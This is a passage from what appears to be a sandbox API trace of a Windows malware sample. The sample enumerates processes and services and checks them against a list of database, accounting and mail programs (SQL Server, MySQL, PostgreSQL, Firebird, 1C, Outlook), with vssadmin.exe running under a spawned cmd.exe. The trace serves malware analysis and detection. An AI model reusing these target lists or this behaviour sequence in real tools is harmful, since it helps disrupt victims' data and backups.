dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.263] lstrlenW (lpString="smss.exe") returned 8 [0047.263] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.263] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.263] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.263] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.264] lstrlenW (lpString="csrss.exe") returned 9 [0047.264] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.264] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.264] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.264] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.265] lstrlenW (lpString="wininit.exe") returned 11 [0047.265] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.265] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.265] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.265] lstrlenW (lpString="csrss.exe") returned 9 [0047.265] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.274] lstrlenW (lpString="winlogon.exe") returned 12 [0047.274] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.275] lstrlenW (lpString="services.exe") returned 12 [0047.275] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.276] lstrlenW (lpString="lsass.exe") returned 9 [0047.276] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.276] lstrlenW (lpString="lsm.exe") returned 7 [0047.276] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.277] lstrlenW (lpString="svchost.exe") returned 11 [0047.277] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.278] lstrlenW (lpString="svchost.exe") returned 11 [0047.278] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.278] lstrlenW (lpString="svchost.exe") returned 11 [0047.278] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.279] lstrlenW (lpString="svchost.exe") returned 11 [0047.279] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.280] lstrlenW (lpString="svchost.exe") returned 11 [0047.280] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.280] lstrlenW (lpString="audiodg.exe") returned 11 [0047.281] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.281] lstrlenW (lpString="svchost.exe") returned 11 [0047.281] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.282] lstrlenW (lpString="svchost.exe") returned 11 [0047.282] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.283] lstrlenW (lpString="dwm.exe") returned 7 [0047.283] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.324] lstrlenW (lpString="explorer.exe") returned 12 [0047.324] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.325] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.325] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.326] lstrlenW (lpString="taskhost.exe") returned 12 [0047.326] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.326] lstrlenW (lpString="svchost.exe") returned 11 [0047.326] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.327] lstrlenW (lpString="taskeng.exe") returned 11 [0047.327] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.328] lstrlenW (lpString="taskhost.exe") returned 12 [0047.328] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0047.328] lstrlenW (lpString="obligations-breath.exe") returned 22 [0047.328] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0047.329] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0047.329] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0047.330] lstrlenW (lpString="achieving.exe") returned 13 [0047.330] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0047.330] lstrlenW (lpString="venice.exe") returned 10 [0047.331] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0047.439] lstrlenW (lpString="owns.exe") returned 8 [0047.440] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0047.440] lstrlenW (lpString="faster momentum.exe") returned 19 [0047.440] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0047.441] lstrlenW (lpString="vital_reasons.exe") returned 17 [0047.441] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0047.441] lstrlenW (lpString="everyone.exe") returned 12 [0047.442] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0047.442] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0047.442] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0047.443] lstrlenW (lpString="bored_excluded.exe") returned 18 [0047.443] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0047.444] lstrlenW (lpString="mothers.exe") returned 11 [0047.444] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0047.444] lstrlenW (lpString="career-fed.exe") returned 14 [0047.444] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0047.445] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0047.445] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0047.446] lstrlenW (lpString="initial_utilization.exe") returned 23 [0047.446] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0047.446] lstrlenW (lpString="cf-represent.exe") returned 16 [0047.446] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0047.447] lstrlenW (lpString="tue.exe") returned 7 [0047.447] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0047.448] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0047.448] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0047.449] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0047.449] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0047.449] lstrlenW (lpString="stuff_event.exe") returned 15 [0047.449] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0047.450] lstrlenW (lpString="keywords-copies.exe") returned 19 [0047.450] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0047.451] lstrlenW (lpString="lap.exe") returned 7 [0047.451] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.451] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.451] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0047.452] lstrlenW (lpString="chrome64b.exe") returned 13 [0047.452] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.453] lstrlenW (lpString="cmd.exe") returned 7 [0047.453] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.453] lstrlenW (lpString="conhost.exe") returned 11 [0047.453] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.454] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.454] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.455] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.455] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.456] lstrlenW (lpString="svchost.exe") returned 11 [0047.456] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.456] CloseHandle (hObject=0x1f8) returned 1 [0047.457] Sleep (dwMilliseconds=0x1f4) [0047.981] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64a0d0 [0047.982] EnumServicesStatusExW (in: hSCManager=0x64a0d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0047.982] GetLastError () returned 0xea [0047.982] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0047.982] EnumServicesStatusExW (in: hSCManager=0x64a0d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0047.983] CloseServiceHandle (hSCObject=0x64a0d0) returned 1 [0047.983] lstrlenW (lpString="Appinfo") returned 7 [0047.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.983] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.983] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.983] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.983] lstrlenW (lpString="AudioSrv") returned 8 [0047.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.983] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.983] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.983] lstrlenW (lpString="BFE") returned 3 [0047.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.983] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.983] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.984] lstrlenW (lpString="CryptSvc") returned 8 [0047.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.984] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.984] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.984] lstrlenW (lpString="CscService") returned 10 [0047.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.984] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.984] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.984] lstrlenW (lpString="DcomLaunch") returned 10 [0047.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.984] lstrlenW (lpString="Dhcp") returned 4 [0047.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.984] lstrlenW (lpString="Dnscache") returned 8 [0047.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.984] lstrlenW (lpString="DPS") returned 3 [0047.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.984] lstrlenW (lpString="eventlog") returned 8 [0047.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.985] lstrcmpiW 